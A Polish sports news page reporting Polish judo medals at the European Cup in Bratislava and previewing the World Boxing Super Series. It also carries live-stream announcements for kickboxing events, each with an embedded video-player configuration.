Siedem medali Polaków w Bratysławie

Bardzo dobry występ polskich judoków w Pucharze Europy w Bratysławie. Biało-czerwoni wywalczyli sześć medali, w tym jeden złoty. Większą zdobyczą mogą pochwalić się tylko Włosi, którzy na swoim koncie zapisali dziewięć krążków.

Ilość nie przekłada się na miejsce w klasyfikacji medalowej. Polacy zajęli szóstą pozycję, z kolei Włosi piątą. Najlepsi okazali się Słoweńcy, którzy zdobyli trzy złota. Za nimi Holendrzy z sześcioma medalami, w tym dwoma z najcenniejszego kruszcu. Na najniższym stopniu podium znalazła się Ukraina (cztery medale, w tym dwa złote).

Złoto Golusa

W Bratysławie największy sukces w karierze odniósł Łukasz Golus (66kg). Cztery wygrane walki pozwoliły 26-letniemu zawodnikowi uplasować się najwyższym stopniu podium. Na początek judoka GKS Czarni Bytom pokonał Ukraińca Oleksandra Moisei, a następnie Węgra Akosa Barthę. W półfinale Golus trafił na Włocha Biagio Stefanelliego, który w tym roku zajmował siódme miejsca w Dubrovniku i Bukareszcie. Polak wygrał przez waza ari, z kolei w finale uporał się z Serbem Iliją Ciganoviciem. Dla 26-letniego Golusa Bratysława to wyjątkowe miejsce. Na Słowacji startował dwa i trzy lata temu, ale zajmował wtedy odpowiednio siódme i piąte miejsce.

W kategorii 66kg na podium zameldował się również Jacek Brysz. Po dwóch wygranych walkach, 28-latek musiał uznać wyższość późniejszego finalisty Ciganovicia. W repasażach Brysz zanotował dwie wygrane, pokonał m.in. Bartosza Dobranowskiego. A w starciu o brąz okazał się lepszy od Włocha Stefanelliego, który wcześniej przegrał z Golusem. Warto dodać, że na siódmych lokatach uplasowali się wspomniany Dobranowski i Arkadiusz Makarewicz. 

Brąz dla Bartłomieja Garbacika (60kg). 25-latek powtórzył sukces sprzed dwóch lat, kiedy w Bratysławie również znalazł się na najniższym stopniu podium. Na drodze Polaka do finału stanął David Starkel. W starciu o brąz Garbacik przed czasem pokonał Czecha Michala Cernego.

Rafał Kozłowski szedł jak burza. 21-letni judoka wygrał trzy walki przed czasem, jednak w półfinale trafił na Petera Zilkę, który pozbawił go marzeń o walce o złoto. Polakowi pozostało starcie o brąz. Akademicki mistrz Europy z Coimbry okazał się lepszy od Basa van Empelena.

Warto również wspomnieć o siódmych miejscach Damiana Stępnia (81kg) i Michała Dudka (+100kg).

Trzy brązowe dziewczyny

Trzy wygrane walki dały brąz Joannie Stankiewicz (48kg). W walce decydującej o podium 24-latka pokonała Katarzynę Wiszniewską. 

Karolina Pieńkowska (52kg) nie raz pokazała, że drzemią w niej spore możliwości. Młodzieżowa mistrzyni Europy z 2015 roku jest mocnym punktem naszej kadry. W tym roku nie stała jeszcze na podium. Najbliżej medalu była w Pradze, gdzie zajęła piątą lokatę. W Bratysławie Polka przegrała jedynie z Anją Stangar. Półfinałowa porażka sprawiła, że Pieńkowska rywalizowała o brąz z Tinką Easton z Australii. Po zakończeniu rywalizacji Polka mogła cieszyć się ze zwycięstwa.

Krótką drogę do medalu miała Urszula Hofman (70kg). Trzy walki i trzecie miejsce 22-letniej Polki. W starciu o brąz Hofman pokonała Patrycję Lorenc, która ostatecznie była piąta. Siódme miejsce dla Aleksandry Grygiel.

Angelika Szymańska (63kg) wygrała dwie walki, co dało jej siódmą pozycję.

KM

Rusza World Boxing Super Series

Pierwsza odsłona rywalizacji w turniej boksu zawodowego World Boxing Super Series odbędzie się w Berlinie, gdzie w sobotni (9 września) wieczór rękawice skrzyżują mistrz WBO wagi junior ciężkiej Oleksandr Usyk i Marco Huck. Polscy fani pięściarstwa będą ściskać kciuki za Krzysztofa Włodarczyka. Popularny „Diablo” zaprezentuje się 21 października w hali Prudential Center w Newark, gdzie zmierzy się z czempionem IBF Muratem Gasijewem.

Dwie kategorie wagowe, junior ciężka i super średnia, – w każdej z nich po ośmiu bokserów. Pula nagród wyniesie 50 milionów dolarów! To propozycja, która ma zadowolić kibiców boksu i zapewnić im ogromne emocje.

Start w Berlinie

8 lipca odbyła się ceremonia losowania par w Monako. Stopniowo ustalono harmonogram, zgodnie z nim na przełomie września i października odbędzie się rywalizacja ćwierćfinałowa. W kategorii super średniej zaprezentują się: Chris Eubank Jr, George Groves, Callum Smith, Juergen Breahmer, Erik Skoglund, Avni Yildrim, Jamie Cox i Rob Brant. Z kolei w wadze junior ciężkiej zobaczymy: Oleksandra Usyka, Mairisa Briedisa, Murata Gassijewa, Yuniera Dorticosa, Krzysztofa Włodarczyka, Marco Hucka, Dmitrija Kudriaszowa i Mike'a Pereza.

Już na sam początek turniejowych zmagań kibiców czeka niezwykle smakowity kąsek. W Berlinie były mistrz WBO Marco Huck, który stracił pas w sierpniu 2015 roku na rzecz Krzysztofa Głowackiego zmierzy się z aktualnym czempionem Oleksandrem Usykien. 30-letni Ukrainiec dwukrotnie bronił tytuł. Na swoim koncie zapisał 12 zwycięstw, w tym 10 przed czasem. Co prawda Usyk ma niewielkie doświadczenie zawodowe, ale jest bokserem najwyższej klasy. W startach amatorskich odnosił wielkie sukcesy m.in. zdobył złoto igrzysk w Londynie w 2012 roku. Z kolei Huck stoczył aż 45 zawodowych walk, z których wygrał 40.

Walka o tytuł, a zarazem o przepustkę do półfinału turnieju w wadze junior ciężkiej. Bokserzy są przygotowani na trudy rywalizacji. – Nie mogę się doczekać walki – mówi Marco Huck. – Usyk stoczy największą bitwę w karierze i powinien przygotować się na wojnę, którą przegra – dodaje 32-latek urodzony w Ugao. – Czuję się bardzo dobrze – podkreślił mistrz WBO Oleksandr Usyk. – Jestem gotowy zaimponować fanom w Berlinie i oglądającym walkę na całym świecie – uzupełnił Ukrainiec.

Czekamy na Włodarczyka

Polski kibiców najbardziej interesuje występ Krzysztofa Włodarczyka w turnieju WBSS. 21 października w Newark były mistrz świata IBF i WBC zmierzy się z aktualnym czempionem IBF Muratem Gasijewem. Dla Włodarczyka będzie to 58 walka w karierze. Blisko 36-letni pięściarz ma serię czterech zwycięstw z rzędu. Gasijew nie przegrał jeszcze nigdy w karierze. Walka z Włodarczykiem będzie jego 25 starciem na zawodowym ringu.

Warto wspomnieć o najnowszym zestawieniu IBF. Włodarczyk zajmuje w nim pozycję nr 1 w kategorii junior ciężkiej, Krzysztof Głowacki jest ósmy, a Mateusz Masternak dziewiąty.

KM

LIVE: XXV Warszawska Granda na Pięści i Giry

Zapraszamy na transmisję telewizyjną na żywo z XXV Warszawskiej Grandy na Pięści i Giry. 

 [kod]

 

 

XXV Warszawska Granda

XXV Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mecz Polska vs Ukraina w Kickboxingu w formule Kick-Light, Gdańsk 2017

Zapraszamy na transmisję telewizyjną na żywo z Meczu Polska vs Ukraina w Kickboxingu w formule Kick-Light. Zawody odbędą się w dniu 22 września 2017 r. w Gdańsku.

[kod]

Mecz Polska vs Ukraina w Kickboxingu w formule Kick-Light

Mecz Polska vs Ukraina w Kickboxingu w formule Kick-Light

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/KickLightPolskaUkraina.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/KickLightPolskaUkraina.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/KickLightPolskaUkraina.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/KickLightPolskaUkraina.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Polski w Kickboxingu w formule Low-Kick, Kobyłka 2017

Zapraszamy na transmisję telewizyjną na żywo z gali finałowej Pucharu Polski w Kickboxingu w formule Low-Kick. Zawody odbędą się w dniach 22-24 września 2017 r. w Kobyłce.

[kod]

Puchar Polski w Kickboxingu w formule Low-Kick

Puchar Polski w Kickboxingu w formule Low-Kick

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LowKick2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LowKick2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LowKick2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LowKick2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

PREMIERA: PZKB TV odc. 1

Zapraszamy na premierowy odcinek nowego projektu telewizyjnego pod nazwą PZKB TV. Programy będą miały swoją premierę i emisję w każdy czwartek o godz. 19.00. Będą kanały tematyczne o roboczych nazwach: PZKB TV, PZKB News, PZKB Historia, PZKB Sport. ZAPRASZAMY!!!

[kod]